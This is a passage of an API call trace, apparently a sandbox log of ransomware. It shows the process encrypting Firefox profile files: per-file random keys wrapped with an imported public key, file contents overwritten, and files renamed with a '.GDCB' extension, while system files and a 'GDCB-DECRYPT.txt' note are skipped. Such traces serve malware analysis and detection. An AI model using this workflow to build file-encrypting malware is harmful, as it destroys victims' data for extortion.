returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" [0057.359] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.359] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93 [0057.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93 [0057.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93 [0057.359] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="desktop.ini") returned 1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="autorun.inf") returned 1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="ntuser.dat") returned 1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="iconcache.db") returned 1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="bootsect.bak") returned 1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="boot.ini") returned 1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="ntuser.dat.log") returned 1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="thumbs.db") returned -1 [0057.359] lstrcmpiW (lpString1="pluginreg.dat", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.359] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat")) returned 0x20 [0057.362] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat", dwFileAttributes=0x20) returned 1 [0057.362] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.363] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" [0057.363] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.GDCB" [0057.363] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.363] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.363] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.363] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.363] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.363] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.363] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.364] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.364] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.364] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.364] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.364] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.364] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.364] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.365] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.365] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.367] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd788) returned 1 [0057.367] CryptGetKeyParam (in: hKey=0x5dd788, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.367] CryptEncrypt (in: hKey=0x5dd788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.367] GetLastError () returned 0x0 [0057.367] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.367] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.370] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd7c8) returned 1 [0057.370] CryptGetKeyParam (in: hKey=0x5dd7c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.370] CryptEncrypt (in: hKey=0x5dd7c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.370] GetLastError () returned 0x0 [0057.370] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.370] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.370] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.370] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.371] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x23b, lpOverlapped=0x0) returned 1 [0057.388] VirtualAlloc (lpAddress=0x0, dwSize=0x240, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.390] VirtualAlloc (lpAddress=0x0, dwSize=0x240, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.391] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.391] SetFilePointer (in: hFile=0x504, lDistanceToMove=-571, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.391] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x240, lpOverlapped=0x0) returned 1 [0057.391] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.391] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.394] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.403] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.403] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.403] CloseHandle (hObject=0x504) returned 1 [0057.406] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.407] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.407] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.407] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat.gdcb")) returned 1 [0057.408] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.408] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.408] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.408] lstrcmpW (lpString1="prefs.js", lpString2=".") returned 1 [0057.408] lstrcmpW (lpString1="prefs.js", lpString2="..") returned 1 [0057.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="prefs.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" [0057.408] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.408] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88 [0057.408] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88 [0057.408] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88 [0057.408] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="desktop.ini") returned 1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="autorun.inf") returned 1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="ntuser.dat") returned 1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="iconcache.db") returned 1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="bootsect.bak") returned 1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="boot.ini") returned 1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="ntuser.dat.log") returned 1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="thumbs.db") returned -1 [0057.408] lstrcmpiW (lpString1="prefs.js", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.408] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js")) returned 0x20 [0057.411] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js", dwFileAttributes=0x20) returned 1 [0057.411] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.411] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" [0057.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.GDCB" [0057.411] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.412] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.412] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.412] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.412] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.412] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.412] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0057.412] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.413] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.413] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.413] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.413] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.413] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.413] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.413] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.415] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd008) returned 1 [0057.415] CryptGetKeyParam (in: hKey=0x5dd008, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.416] CryptEncrypt (in: hKey=0x5dd008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.416] GetLastError () returned 0x0 [0057.416] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.416] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.418] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd548) returned 1 [0057.418] CryptGetKeyParam (in: hKey=0x5dd548, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.418] CryptEncrypt (in: hKey=0x5dd548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.418] GetLastError () returned 0x0 [0057.418] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.418] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.418] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.419] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.419] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x2cc9, lpOverlapped=0x0) returned 1 [0057.431] VirtualAlloc (lpAddress=0x0, dwSize=0x2cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.432] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.432] SetFilePointer (in: hFile=0x504, lDistanceToMove=-11465, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.432] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x2cd0, lpOverlapped=0x0) returned 1 [0057.433] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.433] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.438] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.438] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.438] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.438] CloseHandle (hObject=0x504) returned 1 [0057.439] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.439] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.439] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.440] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js.gdcb")) returned 1 [0057.440] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.441] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.441] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.441] lstrcmpW (lpString1="revocations.txt", lpString2=".") returned 1 [0057.441] lstrcmpW (lpString1="revocations.txt", lpString2="..") returned 1 [0057.441] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="revocations.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" [0057.441] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.441] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95 [0057.441] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95 [0057.441] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95 [0057.441] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95 [0057.441] lstrcmpiW (lpString1="revocations.txt", lpString2="desktop.ini") returned 1 [0057.441] lstrcmpiW (lpString1="revocations.txt", lpString2="autorun.inf") returned 1 [0057.441] lstrcmpiW (lpString1="revocations.txt", lpString2="ntuser.dat") returned 1 [0057.441] lstrcmpiW (lpString1="revocations.txt", lpString2="iconcache.db") returned 1 [0057.441] lstrcmpiW (lpString1="revocations.txt", lpString2="bootsect.bak") returned 1 [0057.441] lstrcmpiW (lpString1="revocations.txt", lpString2="boot.ini") returned 1 [0057.441] lstrcmpiW (lpString1="revocations.txt", lpString2="ntuser.dat.log") returned 1 [0057.442] lstrcmpiW (lpString1="revocations.txt", lpString2="thumbs.db") returned -1 [0057.442] lstrcmpiW (lpString1="revocations.txt", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.442] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\revocations.txt")) returned 0x20 [0057.442] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt", dwFileAttributes=0x20) returned 1 [0057.442] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.442] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" [0057.442] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt.GDCB" [0057.442] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5900a0) returned 1 [0057.443] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.443] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.443] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.443] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0057.443] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.443] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5900a0) returned 1 [0057.444] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.444] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.444] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 